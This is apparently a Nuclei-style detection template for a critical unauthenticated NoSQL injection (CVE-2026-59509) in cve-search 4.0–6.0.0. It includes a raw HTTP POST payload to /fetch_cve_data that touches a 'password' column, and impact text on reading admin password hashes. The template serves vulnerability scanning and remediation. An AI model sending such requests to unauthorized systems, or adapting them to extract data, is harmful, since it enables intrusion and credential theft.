cve-search 4.0-6.0.0 - Unauthenticated NoSQL Injection

id: CVE-2026-59509

info:
  name: cve-search 4.0-6.0.0 - Unauthenticated NoSQL Injection
  author: str4k3r
  severity: critical
  description: |
    cve-search versions 4.0 through 6.0.0 expose an unauthenticated DataTables endpoint that accepts attacker-controlled MongoDB collection, projection, filtering, and pagination parameters. This detector uses a harmless invalid projection field against the intended cves collection; version 6.0.1 rejects that field.
  impact: |
    An unauthenticated network attacker can read unintended MongoDB data, including administrative usernames and password hashes when local authentication is enabled, by controlling DataTables query parameters.
  remediation: |
    Upgrade cve-search to v6.0.1 or later.
  reference:
    - https://github.com/cve-search/cve-search/issues/1217
    - https://github.com/cve-search/cve-search/pull/1218
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59509
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
    cvss-score: 9.2
    cve-id: CVE-2026-59509
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 1
    vendor: cve-search
    product: cve-search
  tags: cve,cve2026,cve-search,mongodb,nosql-injection,unauth

http:
  - raw:
      - |
        POST /fetch_cve_data HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        draw=1&start=0&length=1&retrieve=cves&search%5Bvalue%5D=&search%5Bregex%5D=false&columns%5B0%5D%5Bdata%5D=password&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"recordsTotal\"","\"data\"")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022018d5392c108dff9bc85ee197efcc8ef963db28314ae95d96c18a0f3445c8324e0221009ab436bd0da8a116733a0b30f29abb4f799a7ec70a9c32ec16c08accaf0ff81a:922c64590222798bb761d5b6d8e72950